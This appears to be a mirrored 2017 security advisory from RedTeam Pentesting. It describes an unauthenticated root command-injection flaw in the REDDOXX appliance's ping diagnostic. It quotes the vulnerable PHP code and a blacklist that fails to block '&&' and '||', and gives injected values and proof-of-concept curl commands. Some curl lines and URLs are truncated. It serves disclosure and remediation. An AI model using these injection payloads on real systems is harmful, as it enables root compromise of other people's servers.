REDDOXX Appliance Remote Command Execution

Type packetstorm
Modified 2017-07-25T00:00:00


                                            `Advisory: Remote Command Execution as root in REDDOXX Appliance  
RedTeam Pentesting discovered a remote command execution vulnerability  
in the REDDOXX appliance software, which allows attackers to execute  
arbitrary command with root privileges while unauthenticated.  
Product: REDDOXX Appliance  
Affected Versions: <= Build 2032 / v2.0.625  
Fixed Versions: Version 2032 SP2  
Vulnerability Type: Remote Command Execution  
Security Risk: high  
Vendor URL:  
Vendor Status: patch available  
Advisory URL:  
Advisory Status: published  
"REDDOXX is a leading supplier of solutions for e-mail archiving,  
encrypted and digitally signed e-mail traffic as well as spam  
protection. Our focus is on technological innovation: taking our cue  
from our clientsa requirements our competent and quality-conscious  
employees strive to offer you the best possible products at all times.  
Using stringent quality standards and proven processes we keep  
developing our company and products continuously, with the goal of  
continuous improvement."  
(from the vendor's homepage)  
More Details  
The administrative interface of the REDDOXX appliance [0] offers several  
diagnostic tools in the "Diagnostic Center". Ping is one of these tools.  
The interface for this tool contains two input fields, which allow users  
to specify a target host and a packet count. Through the ISO provided on  
the vendor's homepage [1], it was possible to analyze how these commands  
are embedded into the command-line of the ping command:  
function ExecuteDiag($parameter)  
// Here we do the main thing ...  
$cmd = "ping '" . $parameter->targetHost . "' -c " . $parameter->count;  
$this->PrintHeadLine(array('Result Message', 'Status'));  
$this->PrintOut("<td class=mytd><PRE>");  
passthru($cmd, $rc);  
$result = new stdClass;  
$result->ResultCode = $rc;  
$result->MessageText = "";  
As can be seen in the listing above, the parameters are embedded into a  
string stored in the variable $cmd. The target host parameter is  
surrounded with single quotes, while the count parameter is not.  
Before the parameters are actually embedded into the ping command-line  
however, the following function performs a check for "illegal  
public static function CheckShellParameter($parameter, $key = "")  
if (!is_array($parameter))  
$parameter = array($parameter);  
foreach ($parameter as $value) {  
if (preg_match("/[';<>\"]/", $value)) {  
$paramNameMsg = "";  
if ($key)  
$paramNameMsg = " in parameter '$key'";  
throw new Exception("Invalid value" . $paramNameMsg . ". Illegal characters found.", 1);  
These are characters, which can be used to append additional commands to  
the command line. While this check prevents certain kinds of attacks, it  
is incomplete and can therefore be bypassed. For example, && (AND) and  
|| (OR) operators can still be used to append additional commands to the  
command-line. Submitting a count target host of "" and a count  
of "1 || id" leads to the following command-line being passed to the PHP  
passthru() function and executed:  
ping '' -c 1 || id  
This causes the command "id" to be executed after the execution of the  
ping command is completed.  
Proof of Concept  
The following curl command-lines can be used to trigger the  
First, the diagnose function ping is called as follows:  
$ curl -H 'Content-Type: application/json' --data '{"Name":"Ping",'\  
'&& echo 'REDTEAM_MARKER_START' && id && echo 'REDTEAM_MARKER_END'"}}' \  
Here, the count parameter "1 && echo 'REDTEAM_MARKER_START' && id && echo  
'REDTEAM_MARKER_END'" is submitted. The two echo commands with markers are  
only used to distinguish the output of the "id" command in the final  
result, which can be retrieved and displayed using the following curl  
$ curl --silent -H 'Accept: application/json' \ | jq .Output | \  
sed 's;.*REDTEAM_MARKER_START\\n\(.*\)\\nREDTEAM_MARKER_END.*;\1;' | \  
sed 's/\\n/\n/g'  
uid=0(root) gid=0(root) groups=0(root)  
Update the appliance software to Version 2032 SP2.  
Security Risk  
The diagnostic functions offered by the REDDOXX appliance allow attackers  
to execute arbitrary commands. Since the commands are executed with root  
privileges and no authentication is required, this is rated as a high  
2017-05-17 Vulnerability identified  
2017-05-23 Customer approved disclosure of vulnerability  
2017-05-26 Customer provided details of vulnerability to vendor  
2017-07-20 Vulnerability reported as fixed by vendor  
2017-07-24 Advisory released  
(Requires login)  
RedTeam Pentesting GmbH  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
More information about RedTeam Pentesting can be found at:  
Working at RedTeam Pentesting  
RedTeam Pentesting GmbH is looking for more penetration testers to join  
our team. If you are interested in working for RedTeam Pentesting in  
Aachen, please visit the respective section of our website.  
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen